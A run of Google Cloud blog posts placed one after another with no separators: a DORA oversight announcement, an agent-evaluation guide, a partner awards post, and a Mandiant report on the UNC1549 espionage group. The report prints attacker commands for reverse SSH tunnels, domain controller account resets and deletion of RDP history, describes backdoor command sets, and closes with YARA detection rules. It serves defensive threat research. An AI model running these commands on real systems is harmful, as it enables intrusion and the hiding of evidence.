gcp

At Google Cloud, we take our role in the financial ecosystem in Europe very seriously. We also firmly believe that digital operational resilience is vital to safeguarding and enhancing innovation. 

Today, we mark a significant milestone in our long-term commitment to the European financial services sector. The European Supervisory Authorities (ESAs) have officially designated Google Cloud EMEA Limited (Google Cloud EMEA), together with its subsidiaries, as a critical Information and Communication Technology (ICT) third-party service provider (CTPP) under the EU Digital Operational Resilience Act (DORA). 

This designation acknowledges the systemic importance of the financial entities that rely on our services, as well as the importance of the workloads they have deployed. We welcome this new phase under DORA, and we remain committed to working with our customers and our regulators under DORA to drive towards even greater resilience for the European financial system. 

Embracing direct oversight

Google Cloud EMEA has been assigned a dedicated Lead Overseer who will assess our strength in managing ICT risks through oversight. This oversight establishes a direct communication channel between Google Cloud and financial regulators in the EU, and provides a significant opportunity to enhance understanding, transparency, and trust between all parties. 

We are confident that this structured dialogue will help us learn and contribute to improved risk management and resilience across the entire sector. We will approach our relationship with the ESAs and our Lead Overseer with the same commitment to ongoing transparency, collaboration, and assurance that we offer our customers and their regulators today.

Keeping customer success in focus 

Along with our commitment to successful oversight, we remain focused on supporting our customers’ DORA compliance journeys with helpful resources like our Register of Information Guide and our ICT Risk Management Customer Guide. If you haven’t already, we also encourage our financial entity customers to consider our DORA-specific contract and subcontractor resources. Please contact your Google Cloud representative for further details.

As all financial entities subject to DORA will know, CTPP oversight does not replace your own responsibilities under DORA. That said, by supplementing risk management by financial entities and creating a clear mechanism for information and learnings to flow between CTPPs and key EU and national supervisory stakeholders, we feel confident that customers and users will benefit from the oversight of CTPPs. 

Looking ahead

We value the constructive dialogue the ESAs have fostered with industry, and look forward to continuing this collaboration with our Lead Overseer. We believe that together we can help to build a more resilient and secure financial sector in Europe. 

As we move forward in this new era of direct oversight, our goal remains to make Google Cloud the best possible service for sustainable, digital transformation for all European organizations on their terms.

AI is shifting from single-response models to complex, multi-step agents that can reason, use tools, and complete sophisticated tasks. This increased capability means you need an evolution in how you evaluate these systems. Metrics focused only on the final output are no longer enough for systems that make a sequence of decisions.

A core challenge is that an agent can produce a correct output through an inefficient or incorrect process—what we call a “silent failure”. For instance, an agent tasked with reporting inventory might give the correct number but reference last year’s report by mistake. The result looks right, but the execution failed. When an agent fails, a simple “wrong” or “right” doesn’t provide the diagnostic information you need to determine where the system broke down.

To debug effectively and ensure quality, you must understand multiple aspects of the agent’s actions:

• The trajectory—the sequence of reasoning and tool calls that led to the result.

• The overall agentic interaction – the full conversation between the user and the agent (Assuming a chat agent)

• Whether the agent was manipulated into its actions.

This article outlines a structured framework to help you build a robust, tailored agent evaluation strategy so you can trust that your agent can move from a proof-of-concept (POC) to production.

Start with success: Define your agent’s purpose

An effective evaluation strategy is built on a foundation of clear, unambiguous success criteria. You need to start by asking one critical question: What is the definition of success for this specific agent? These success statements must be specific enough to lead directly to measurable metrics.

By defining success first, you establish a clear benchmark for your agent to meet.

A purpose-driven evaluation framework

A robust evaluation should have success criteria and associated testable metrics that cover three pillars.

Pillar 1: Agent success and quality

This assesses the complete agent interaction, focusing on the final output and user experience. Think of this like an integration test where the agent is tested exactly as it would be used in production.

• What it measures: The end result.

• Example metrics: Interaction correctness, task completion rate, conversation groundedness, conversation coherence, and conversation relevance.

Pillar 2: Analysis of process and trajectory

This focuses on the agent’s internal decision-making process. This is critical for agents that perform complex, dynamic reasoning. Think of this like a series of unit tests for each decision path of your agent.

• What it measures: The agent’s reasoning process and tool usage.

• Key metrics: Tool selection accuracy, reasoning logic, and efficiency.

Pillar 3: Trust and safety assessment

This evaluates the agent’s reliability and resilience under non-ideal conditions. This is to prevent adversarial interactions with your agents. The reality is that when your agents are in production, they may be tested in unexpected ways, so it’s important to build trust that your agent can handle these situations.

• What it measures: Reliability under adverse conditions.

• Key metrics: Robustness (error handling), security (resistance to prompt injection), and fairness (mitigation of bias).

Define your tests: Methods for evaluation

With a framework in place, you can define specific tests that should be clearly determined by the metrics you chose. We recommend a multi-layered approach: 

Human evaluation

Human evaluation is essential to ground your entire evaluation suite in real-world performance and domain expertise. This process establishes ground truth by identifying the specific failure modes the product is actually exhibiting and where it’s not able to meet your success criteria.

LLM-as-a-judge

Once human experts identify and document specific failure modes, you can build scalable, automated tests using an LLM to score agent performance. LLM-as-a-judge processes are used for complex, subjective failures and activities and can be used as rapid, repeatable tests to determine agent improvement. Before deployment, you should align the LLM judge to the human evaluation by comparing the judge’s output against the original manual human output, groundtruthing the results.

Code-based evaluations

These are the most inexpensive and deterministic tests, often identified in Pillar 2 by observing the agent trajectories. They are ideal for failure modes that can be checked with simple Python functions or logic, such as ensuring the output is JSON or meets specific length requirements.

Generate high-quality evaluation data

A robust framework is only as good as the data it runs on. Manually writing thousands of test cases creates a bottleneck. The most robust test suites blend multiple techniques to generate diverse, relevant, and realistic data at scale. 

• Synthesize conversations with “dueling LLMs”: You can use a second LLM to role-play as a user, generating diverse, multi-turn conversational data to test your agent at scale. This is great for creating a dataset to be used for Pillar 1 assessments.

• Use and anonymize production data: Use anonymized, real-world user interactions to create a “golden dataset” that captures actual use patterns and edge cases.

• Human-in-the-loop curation: Developers can save valuable interactive sessions from logs or traces as permanent test cases, continuously enriching the test suite with meaningful examples.

Do I need a golden dataset?

You always need evaluation data, such as logs or traces, to run any evaluation. However, you don’t always need a pre-labeled golden dataset to start. While a golden dataset—which provides perfect, known-good outputs—is crucial for advanced validation (like understanding how an agent reaches a known answer in RAG or detecting regressions), it shouldn’t be a blocker.

How to start without one 

It’s possible to get started with just human evaluation and vibes-based evaluation metrics to determine initial quality. These initial, subjective metrics and feedback can then be adapted into LLM-as-a-Judge scoring for example:

Aggregate and convert early human feedback into a set of binary scores (Pass/Fail) for key dimensions like correctness, conciseness, or safety tested by LLM-as-a-Judge. The LLM-as-a-Judge then automatically scores the agent interaction against these binary metrics to determine overall success or failure. The agent’s overall quality can then be aggregated and scored with a categorical letter grading system for example ‘A’ – All binary tests pass, ‘B’ – ⅔ of binary tests pass, ‘C’ – ⅓ of binary tests pass etc.

This approach lets you establish a structured quality gate immediately while you continuously build your golden dataset by curating real-world failures and successes.

Operationalize the process

A one-time evaluation is just a snapshot. To drive continuous improvement, you must integrate the evaluation framework into the engineering lifecycle. Operationalizing evaluation changes it into an automated, continuous process.

Integrate evaluation into CI/CD

Automation is the core of operationalization. Your evaluation suite should act as a quality gate that runs automatically with every proposed change to the agent.

• Process: The pipeline executes the new agent version against your reference dataset, computes key metrics, and compares the scores against predefined thresholds.

• Outcome: If performance scores fall below the threshold, the build fails, which prevents quality regressions from reaching production.

Monitor performance in production

The real world is the ultimate test. You should monitor for:

• Operational metrics: Tool call error rates, API latencies, and token consumption per interaction.

• Quality and engagement metrics: User feedback (e.g., thumbs up/down), conversation length, and task completion rates.

• Drift detection: Monitor for significant changes in the types of user queries or a gradual decrease in performance over time.

Create a virtuous feedback loop

The final step is to feed production data back into your evaluation assets. This makes your evaluation suite a living entity that learns from real-world use.

• Review: Periodically review production monitoring data and conversation logs.

• Identify: Isolate new or interesting interactions (especially failures or novel requests) that aren’t in your current dataset.

• Curate and add: Anonymize these selected interactions, annotate them with the “golden” expected outcome, and add them to your reference dataset.

This continuous cycle ensures your agent becomes more effective and reliable with every update. You can track and visualize the results from these cycles by exporting the runs of these tests and leveraging dashboarding tools to see how the quality of your agent is evolving over time.

Get started

To help you establish this robust quality gate, start using Generative AI Evaluation Service and ADK based trajectory evaluations.

At Google Cloud, we have the honor of partnering with some of the most brilliant and inventive individuals across the world. Each year, the Google Cloud Partner All-stars program honors these remarkable people for their dedication to innovation and commitment to excellence. Our 2025 All-stars are pushing our industry forward, and we’re thrilled to celebrate them.

2025 Spotlight: AI Innovation

For 2025, we’re excited to introduce a new category that recognizes strategic leaders in enterprise-wide AI adoption. These honorees are trusted advisors, helping customers transform their business using Google AI. This includes implementing agentic AI to transform core processes, create new revenue streams, or redefine operating models. 

These All-stars showcase a holistic vision for how AI integrates into a customer’s culture and strategy to drive lasting, measurable transformation that fundamentally alters business processes.

What sets Partner All-stars apart?
The following qualities define what it means to be a Partner All-star:

AI Innovation

• Guides customers through profound business transformation by driving enterprise-wide AI adoption

• Establishes a strategic vision for integrating AI and autonomous agents into a customer’s operating model

• Leverages agentic AI to redefine core processes, create new revenue streams, and transform business outcomes

• Delivers lasting, measurable results that fundamentally alter a customer’s business processes

Delivery Excellence

• Top-ranked personnel on Google Cloud’s Delivery Readiness Portal (DRP)

• Displays commitment to technical excellence by passing advanced delivery challenge labs and other advanced technical training

• Demonstrates excellent knowledge and adoption of Google Cloud delivery enablement methods, assets, and offerings

• Exhibits expertise through customer project and deployment experience  

Marketing

• Drives strategic programs and key events that address customer concerns and priorities

• Works with cross-functional teams to ensure the success of campaigns and events

• Takes a data-driven approach to marketing, investing resources and time in programs that drive the biggest impact

• Always explores areas of opportunity to improve future work

Sales

• Embodies commitment to the customer transformation journey

• Consistently meets and exceeds sales targets

• Aligns on goals to deliver amazing end-to-end customer experiences 

• Prioritizes long-term customer relationships over short-term sales

Solutions Engineering

• Delivers superior customer experiences by keeping professional skills up to date, earning at least one Google technical certification

• Embraces customer challenges head-on, taking responsibility for end-to-end solutioning

• Works with purpose, providing deliverables in a timely manner without compromising quality 

• Works effectively across joint product areas, leveraging technology in innovative ways to address customer needs

Celebrating excellence in 2025

On behalf of the entire Google Cloud team, I want to extend a much-deserved congratulations to our 2025 Google Cloud Partner All-stars. Their commitment to innovation is an inspiration to us and a driving force of success to our customers.

Follow the celebration and engage with #PartnerAllstars on social media to learn more about these exceptional leaders.

Learn more about Google Cloud Partners.

Written by: Mohamed El-Banna, Daniel Lee, Mike Stokkel, Josh Goddard

Overview

Last year, Mandiant published a blog post highlighting suspected Iran-nexus espionage activity targeting the aerospace, aviation, and defense industries in the Middle East. In this follow-up post, Mandiant discusses additional tactics, techniques, and procedures (TTPs) observed in incidents Mandiant has responded to.

Since mid-2024, Mandiant has responded to targeted campaigns by the threat group UNC1549 against the aerospace, aviation and defense industries. To gain initial access into these environments, UNC1549 employed a dual approach: deploying well-crafted phishing campaigns designed to steal credentials or deliver malware and exploiting trusted connections with third-party suppliers and partners.

The latter technique is particularly strategic when targeting organizations with high security maturity, such as defense contractors. While these primary targets often invest heavily in robust defenses, their third-party partners may possess less stringent security postures. This disparity provides UNC1549 a path of lesser resistance, allowing them to circumvent the primary target’s main security controls by first compromising a connected entity.

Operating in late 2023 through 2025, UNC1549 employed sophisticated initial access vectors, including abuse of third-party relationships to gain entry (pivoting from service providers to their customers), VDI breakouts from third parties, and highly targeted, role-relevant phishing.

Once inside, the group leverages creative lateral movement techniques, such as stealing victim source code for spear-phishing campaigns that use lookalike domains to bypass proxies, and abusing internal service ticketing systems for credential access. They employ custom tooling, notably DCSYNCER.SLICK—a variant deployed via search order hijacking to conduct DCSync attacks.

UNC1549’s campaign is distinguished by its focus on anticipating investigators and ensuring long-term persistence after detection. They plant backdoors that beacon silently for months, only activating them to regain access after the victim has attempted eradication. They maintain stealth and command and control (C2) using extensive reverse SSH shells (which limit forensic evidence) and domains strategically mimicking the victim’s industry.

Threat Activity

Initial Compromise

A primary initial access vector employed by UNC1549 involved combining targeted social engineering with the exploitation of compromised third-party accounts. Leveraging credentials harvested from vendors, partners, or other trusted external entities, UNC1549 exploited legitimate access pathways inherent in these relationships.

Third-Party Services

Notably, the group frequently abused Citrix, VMWare, and Azure Virtual Desktop and Application services provided by victim organizations to third party partners, collaborators, and contractors. Utilizing compromised third-party credentials, they authenticated to the supplier’s infrastructure, establishing an initial foothold within the network perimeter. Post-authentication, UNC1549 used techniques designed to escape the security boundaries and restrictions of the virtualized Citrix session. This breakout granted them access to the underlying host system or adjacent network segments, and enabled the initiation of lateral movement activities deeper within the target corporate network.

Spear Phishing

UNC1549 utilized targeted spear-phishing emails as one of the methods to gain initial network access. These emails used lures related to job opportunities or recruitment efforts, aiming to trick recipients into downloading and running malware hidden in attachments or links. Figure 1 shows a sample phishing email sent to one of the victims.

Following a successful breach, Mandiant observed UNC1549 pivoting to spear-phishing campaigns specifically targeting IT staff and administrators. The goal of this campaign was to obtain credentials with higher permissions. To make these phishing attempts more believable, the attackers often perform reconnaissance first, such as reviewing older emails in already compromised inboxes for legitimate password reset requests or identifying the company’s internal password reset webpages, then crafted their malicious emails to mimic these authentic processes.

Establish Foothold

To maintain persistence within compromised networks, UNC1549 deployed several custom backdoors. Beyond MINIBIKE, which Mandiant discussed in the February 2024 blog post, the group also utilizes other custom malware such as TWOSTROKE and DEEPROOT. Significantly, Mandiant’s analysis revealed that while the malware used for initial targeting and compromises was not unique, every post-exploitation payload identified, regardless of family, had a unique hash. This included instances where multiple samples of the same backdoor variant were found within the same victim network. This approach highlights UNC1549’s sophistication and the considerable effort invested in customizing their tools to evade detection and complicate forensic investigations.

Search Order Hijacking

UNC1549 abused DLL search order hijacking to execute CRASHPAD, DCSYNCER.SLICK, GHOSTLINE, LIGHTRAIL, MINIBIKE, POLLBLEND, SIGHTGRAB, and TWOSTROKE payloads. Using the DLL search order hijacking techniques, UNC1549 achieved a persistent and stealthy way of executing their tooling.

Throughout the different investigations, UNC1549 demonstrated a comprehensive understanding of software dependencies by exploiting DLL search order hijacking in multiple software solutions. UNC1549 has deployed malicious binaries targeting legitimate Fortigate, VMWare, Citrix, Microsoft, and NVIDIA executables. In many cases, the threat actor installed the legitimate software after initial access in order to abuse SOH; however, in other cases, the attacker leveraged software that was already installed on victim systems and then replaced or added the malicious DLLs within the legitimate installation directory, typically with SYSTEM privileges.

TWOSTROKE

TWOSTROKE, a C++ backdoor, utilizes SSL-encrypted TCP/443 connections to communicate with its controllers. This malware possesses a diverse command set, allowing for system information collection, DLL loading, file manipulation, and persistence. While showing some similarities to MINIBIKE, it’s considered a unique backdoor.

Upon execution of TWOSTROKE, it employs a specific routine to generate a unique victim identifier. TWOSTRIKE retrieves the fully qualified DNS computer name using the Windows API function GetComputerNameExW(ComputerNameDnsFullyQualified). This retrieved name then undergoes an XOR encryption process, utilizing the static key. Following the encryption, the resulting binary data is converted into a lowercase hexadecimal string. 

Finally, TWOSTROKE extracts the first eight characters of this hexadecimal string, reverses it, and uses it as the victim’s unique bot ID for later communication with the C2 server.

Functionalities

After sending the check in request to the C2 server, the TWOSTROKE C2 server returns with a hex-encoded payload that contains multiple values separated by “@##@.” Depending on the received command, TWOSTROKE can execute one of the following commands:

• 1: Upload a file to the C2

• 2: Execute a file or a shell command

• 3: DLL execution into memory

• 4: Download file from the C2

• 5: Get the full victim user name

• 6: Get the full victim machine name

• 7: List a directory

• 8: Delete a file

LIGHTRAIL

UNC1549 was observed downloading a ZIP file from attacker-owned infrastructure. This ZIP file contained the LIGHTRAIL tunneler as VGAuth.dll and was executed through search order hijacking using the VGAuthCLI.exe executable. LIGHTRAIL is a custom tunneler, likely based on the open-source Socks4a proxy, Lastenzug, that communicates using Azure cloud infrastructure. 

There are several distinct differences between the LIGHTRAIL sample and the LastenZug source code. These include:

• Increasing the MAX_CONNECTIONS from 250 to 5000

• Static configuration inside the lastenzug function (wPath and port)

• No support for using a proxy server when connecting to the WebSocket C2

• Compiler optimizations reducing the number of functions (26 to 10)

Additionally, LastenZug is using hashing for DLLs and API function resolving. By default, the hash value is XOR’d with the value 0x41507712, while the XOR value in the observed LIGHTRAIL sample differs from the original source code – 0x41424344 (‘ABCD’).

After loading the necessary API function pointers, the initialization continues by populating the server name (wServerName), the port, and URI (wPath) values. The port is hardcoded at 443 (for HTTPS) and the path is hardcoded to “/news.” This differs from the source code where these values are input parameters to the lastenzug function.

The initWS function is responsible for establishing the WebSocket connection, which it does using the Windows WinHTTP API. The initWS function has a hard-coded User-Agent string which it constructs as a stack string:

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136

Mandiant identified another LIGHTRAIL sample uploaded to VirusTotal from Germany. However, this sample seems to have been modified by the uploader as the C2 domain was intentionally altered.

GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1
Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com
Connection: Upgrade
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
Sec-WebSocket-Version: 13

Figure 2: Modified LIGHTRAIL network communication snippet

Most notable is that this sample is using a different URL path for its communication, but also the User-Agent in this sample is different from the one that was observed in previous LIGHTRAIL samples and the LastenZug source code.

DEEPROOT

DEEPROOT is a Linux backdoor written in Golang and supports the following functionalities: shell command execution, system information enumeration and file listing, delete, upload, and download. DEEPROOT was compiled to be operating on Linux systems; however, due to Golang’s architecture DEEPROOT could also be compiled for other operating systems. At the time of writing, Mandiant has not observed any DEEPROOT samples targeting Windows systems.

DEEPROOT was observed using multiple C2 domains hosted in Microsoft Azure. The observed DEEPROOT samples used multiple C2 servers per binary, suspected to be used for redundancy in case one C2 server has been taken down.

Functionalities

After sending the check in request to the C2 server, the DEEPROOT C2 server returns with a hex-encoded payload that contains multiple values separated by ‘-===-’

<sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2>

Figure 3: Decoded POST body data structure

• sleep_timeout is the time in milli-seconds to wait before making the next request.

• command_id is an identifier for the C2 command, used by the backdoor when responding to the C2 with the result.

• command is the command number and it’s one of the following:

• 1 – Get directory information (directory listing), the directory path is received in argument_1.

• 2 – Delete a file, the file path is received in argument_1.

• 3 – Get the victim username.

• 4 – Get the victim’s hostname.

• 5 – Execute a shell command, the shell command is received in argument_1.

• 6 – Download a file from the C2, the C2 file path is received in argument_1 and the local file path is received in argument_2.

• 7 – Upload a file to the C2, the local file path is received in argument_1.

GHOSTLINE

GHOSTLINE is a Windows tunneler utility written in Golang that uses a hard-coded domain for its communication. GHOSTLINE uses the go-yamux library for its network connection.

POLLBLEND

POLLBLEND is a Windows tunneler that is written in C++. Earlier iterations of POLLBLEND featured multiple hardcoded C2 servers and utilized two hardcoded URI parameters for self-registration and tunneler configuration download. For the registration of the machine, POLLBLEND would reach out to /register/ and sent a HTTP POST request with the following JSON body.

{"username": "<computer_name>"}

Figure 4: POLLBLEND body data

Code Signing

Throughout the tracking of UNC1549’s activity across multiple intrusions, the Iranian-backed threat group was observed signing some of their backdoor binaries with legitimate code-signing certificates—a tactic also covered by Check Point—likely to help their malware evade detection and bypass security controls like application allowlists, which are often configured to trust digitally signed code. The group employed this technique to weaponize malware samples, including variants for GHOSTLINE, POLLBLEND, and TWOSTROKE. All identified code-signing certificates have been reported to the relevant issuing Certificate Authorities for revocation.

Escalate Privileges

UNC1549 has been observed using a variety of techniques and custom tools aimed at stealing credentials and gathering sensitive data post-compromise. This included a utility, tracked as DCSYNCER.SLICK, designed to mimic the DCSync Active Directory replication feature. DCSync is a legitimate function domain controllers use for replicating changes via RPC. This allowed the attackers to extract NTLM password hashes directly from the domain controllers. Another tool, dubbed CRASHPAD, focused on extracting credentials saved within web browsers. For visual data collection, they deployed SIGHTGRAB, a tool capable of taking periodic screenshots, potentially capturing sensitive information displayed on the user’s screen. Additionally, UNC1549 utilized simpler methods, such as deploying TRUSTTRAP, which presented fake popup windows prompting users to enter their credentials, which were then harvested by the attackers.

UNC1549 frequently used DCSync attacks to obtain NTLM password hashes for domain users, which they then cracked in order to facilitate lateral movement and privilege escalation. To gain the necessary directory replication rights for DCSync, the threat actor employed several methods. They were observed unconventionally resetting passwords for domain controller computer accounts using net.exe. This action typically broke the domain controller functionality of the host and caused an outage, yet it successfully enabled them to perform the DCSync operation and extract sensitive credentials, including those for domain administrators and Azure AD Connect accounts. UNC1549 leveraged other techniques to gain domain replication rights, including creating rogue computer accounts and abusing Resource-Based Constrained Delegation (RBCD) assignments. They also performed Kerberoasting, utilizing obfuscated Invoke-Kerberoast scripts, for credential theft.

net user DC-01$ P@ssw0rd

Figure 5: Example of an UNC1549 net.exe command to reset a domain controller computer account

In some cases, shortly after gaining a foothold on workstations, UNC1549 discovered vulnerable Active Directory Certificate Services templates. They used these to request certificates, allowing them to impersonate higher-privileged user accounts.

UNC1549 also frequently targeted saved credentials within web browsers, either through malicious utilities or by RDP session hijacking. In the latter, the threat actor would identify which user was logged onto a system through quser.exe or wmic.exe, and then RDP to that system with the user’s account to gain access to their active and unlocked web browser sessions.

DCSYNCER.SLICK

DCSYNCER.SLICK is a Windows executable that is based on the Open source Project DCSyncer and is based on Mimikatz source code. DCSYNCER.SLICK has been modified to use Dynamic API resolution and has all its printf statements removed.

Additionally, DCSYNCER.SLICK collects and XOR-encrypts the credentials before writing them to a hardcoded filename and path. The following hardcoded filenames and paths were observed being used by DCSYNCER.SLICK:

• C:userspublicLOG.txt
• C:Program FilesVMwareVMware ToolsVMware VGAuthLOG.txt

To evade detection, UNC1549 executed the malware within the context of a compromised domain controller computer account. They achieved this compromise by manually resetting the account password. Instead of utilizing the standard netdom command, UNC1549 used the Windows command net user <computer_name> <password>. Subsequently, they used these newly acquired credentials to execute the DCSYNCER.SLICK payload. This tactic would give the false impression that replication had occurred between two legitimate domain controllers.

CRASHPAD

CRASHPAD is a Windows executable that is written in C++ that decrypts the content of the file config.txt into the file crash.log by impersonating the explorer.exe user privilege and through the CryptUnprotectData API.

• C:Program FilesVMwareVMware ToolsVMware VGAuthcrash.log

• C:Program FilesVMwareVMware ToolsVMware VGAuthconfig.txt

The contents of these files could not be determined because UNC1549 deleted the output after CRASHPAD was executed.

The CRASHPAD configuration and output file paths were hardcoded into the sample, similar to the LOG.txt filename found in the DCSYNCER.SLICK binary.

SIGHTGRAB

SIGHTGRAB is a Windows executable written in C that autonomously captures screen shots at regular intervals and saves them to disk. Upon execution SIGHTGRAB loads several Windows libraries dynamically at runtime including User32.dll, Gdi32.dll, and Ole32.dll. SIGHTGRAB implements runtime API resolution through LoadLibraryA and GetProcAddress calls with encoded strings to access system functions. SIGHTGRAB uses XOR encryption with a single-byte key of 0x41 to decode API function names.

SIGHTGRAB retrieves the current timestamp and uses string interpolation of YYYY-MM-DD-HH-MM on the timestamp to generate the directory name. In this newly created directory, SIGHTGRAB saves all the taken screenshots incrementally.

C:UsersPublicVideos2025-3-7-10-171.jpg
C:UsersPublicVideos2025-3-7-10-172.jpg
C:UsersPublicVideos2025-3-7-10-173.jpg

C:UsersPublicMusic2025-3-7-10-171.jpg
C:UsersPublicMusic2025-3-7-10-172.jpg
C:UsersPublicMusic2025-3-7-10-173.jpg

Figure 6: Examples of screenshot files created by SIGHTGRAB on disk

Mandiant observed UNC1549 strategically deploy SIGHTGRAB on workstations to target users in two categories: those handling sensitive data, allowing for subsequent data exposure and exfiltration, and those with privileged access, enabling privilege escalation and access to restricted systems.

TRUSTTRAP

A malware that serves a Windows prompt to trick the user into submitting their credentials. The captured credentials are saved in cleartext to a file. Figure 7 shows a sample popup by TRUSTTRAP mimicking the Microsoft Outlook login window.

TRUSTTRAP has been used by UNC1549 since at least 2023 for obtaining user credentials used for lateral movement.

Reconnaissance and Lateral Movement

For internal reconnaissance, UNC1549 leveraged legitimate tools and publicly available utilities, likely to blend in with standard administrative activities. AD Explorer, a valid executable signed by Microsoft, was used to query Active Directory and inspect its configuration details. Alongside this, the group employed native Windows commands like net user and net group to enumerate specific user accounts and group memberships within the domain, and PowerShell scripts for ping and port scanning reconnaissance on specific subnets, typically those associated with privileged servers or IT administrator workstations 

UNC1549 uses a wide variety of methods for lateral movement, depending on restrictions within the victim environment. Most frequently, RDP was used. Mandiant also observed the use of PowerShell Remoting, Atelier Web Remote Commander (“AWRC”), and SCCM remote control, including execution of variants of SCCMVNC to enable SCCM remote control on systems.

Atelier Web Remote Commander

Atelier Web Remote Commander (AWRC) is a commercial utility for remotely managing, auditing, and supporting Windows systems. Its key distinction is its agentless design, meaning it requires no software installation or pre-configuration on the remote machine, enabling administrators to connect immediately. 

Leveraging the capabilities of AWRC, UNC1549 utilized this publicly available commercial tool to facilitate post-compromise activities. These activities included:

• Established remote connections: Used AWRC to connect remotely to targeted hosts within the compromised network

• Conducted reconnaissance: Employed AWRC’s built-in functions to gather information by:

• Enumerating running services

• Enumerating active processes

• Enumerating existing RDP sessions

SCCMVNC

SCCMVNC is a tool designed to leverage the existing Remote Control feature within Microsoft System Center Configuration Manager (SCCM/ConfigMgr) to achieve a VNC-like remote access experience without requiring additional third-party modules or user consent/notifications.

SCCM.exe reconfig /target:[REDACTED]

Figure 8: Example of an UNC1549 executing SCCMVNC command

The core functionality of SCCMVNC lies in its ability to manipulate the existing Remote Control feature of SCCM. Instead of deploying a separate VNC server or other remote access software, the tool directly interacts with and reconfigures the settings of the native SCCM Remote Control service on a client workstation. This approach leverages an already present and trusted component within the enterprise environment.

A key aspect of SCCMVNC is its capacity to bypass the standard consent and notification mechanisms typically associated with SCCM Remote Control. Normally, when an SCCM remote control session is initiated, the end-user is prompted for permission, and various notification icons or connection bars are displayed. SCCMVNC effectively reconfigures the underlying SCCM settings (primarily through WMI interactions) to disable these user-facing requirements. This alteration allows for a significantly more discreet and seamless remote access experience, akin to what one might expect from a VNC connection where the user might not be immediately aware of the ongoing session.

Command and Control

UNC1549 continued to use Microsoft Azure Web Apps registrations and cloud infrastructure for C2. In addition to backdoors including MINIBUS, MINIBIKE, and TWOSTROKE, UNC1549 relied heavily on SSH reverse tunnels established on compromised systems to forward traffic from their C2 servers to compromised systems. This technique limited the availability of host-based artifacts during investigations, since security telemetry would only record network connections. For example, during data collection from SMB shares, outbound connections were observed from the SSH processes to port 445 on remote systems, but the actual data collected could not be confirmed due to no staging taking place within the victim environment, and object auditing being disabled.

C:windowssystem32opensshssh.exe[Username]@[IP Address] -p 443 -o ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -R 1070

Figure 9: Example of an UNC1549 reverse SSH command

Mandiant also identified evidence of UNC1549 deploying a variety of redundant remote access methods, including ZEROTIER and NGROK. In some instances, these alternative methods weren’t used by the threat actor until victim organizations had performed remediation actions, suggesting they are primarily deployed to retain access.

Complete Mission

Espionage

UNC1549’s operations appear strongly motivated by espionage, with mission objectives centering around extensive data collection from targeted networks. The group actively seeks sensitive information, including network/IT documentation, intellectual property, and emails. Furthermore, UNC1549 often leverages compromised organizations as a pivot point, using their access to target other entities, particularly those within the same industry sector, effectively conducting third-party supplier and partner intrusions to further their intelligence-gathering goals.

Notably, Mandiant responded to one intrusion at an organization in an unrelated sector, and assessed that the intrusion was opportunistic due to the initial spear phishing lure being related to a job at an aerospace and defense organization. This demonstrated UNC1549’s ability to commit resources to expanding access and persistence in victim organizations that don’t immediately meet traditional espionage goals.

Defense Evasion

UNC1549 frequently deleted utilities from compromised systems after execution to avoid detection and hinder investigation efforts. The deletion of forensic artifacts, including RDP connection history registry keys, was also observed. Additionally, as described earlier, the group repeatedly used SSH reverse tunnels from victim hosts back to their infrastructure, a technique which helped hide their activity from EDR agents installed on those systems. Combined, this activity demonstrated an increase in the operational security of UNC1549 over the past year.

reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f

reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f

Figure 10: Examples of UNC1549 commands to delete RDP connection history registry keys

Acknowledgement

This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Greg Sinclair and Mustafa Nasser from FLARE, and Melissa Derr, Liam Smith, Chris Eastwood, Alex Pietz, Ross Inman, and Emeka Agu from Mandiant Consulting.

MITRE ATT&CK

Indicators of Compromise (IOCs)

The following IOCs are available in a GTI Collection for registered users.

YARA Rules

import "pe"

rule M_APT_Utility_DCSYNCER_SLICK_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "10f16991665df69d1ccd5187e027cf3d"
	strings:
		$ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ?? 01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ?? ?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48 8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? }
		$ = "\LOG.txt" ascii wide
		$ = "%ws_%d:%d:" ascii wide fullword
		$ = "%ws:%d:" ascii wide fullword
		$ = "::::" ascii wide fullword
		$ = "%ws_%d:%d::" ascii wide fullword
		$ = "%ws:%d::" ascii wide fullword
	condition:
		pe.is_pe and all of them
}

import "pe"

rule M_APT_Utility_CRASHPAD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "b2bd275f97cb95c7399065b57f90bb6c"
	strings:
		$ = "[-] Loo ror: %u" ascii fullword
		$ = "[-] Adj r: %u" ascii fullword
		$ = "[-] Th ge. " ascii fullword
		$ = "[+] O s!" ascii fullword
		$ = "[-] O C: %i" ascii fullword
		$ = "[-] O E: %i" ascii fullword
		$ = "[+] Op cess!" ascii fullword
		$ = "[-] Op Code: %i" ascii fullword
		$ = "[-] O Error: %i" ascii fullword
		$ = "[+] Im su!" ascii fullword
		$ = "[+] R" ascii fullword
		$ = "[-] Impe Code: %i" ascii fullword
		$ = "[-] Imo: %i" ascii fullword
		$ = "[+] Du success!" ascii fullword
		$ = "[-] Du Code: %i" ascii fullword
		$ = "[-] Du Error: %i" ascii fullword
		$ = "[+] Dec Suc." ascii fullword
		$ = "%02X" ascii fullword
		$ = "Decryption failed" ascii fullword
		$ = "config.txt"
		$ = "crash.log"
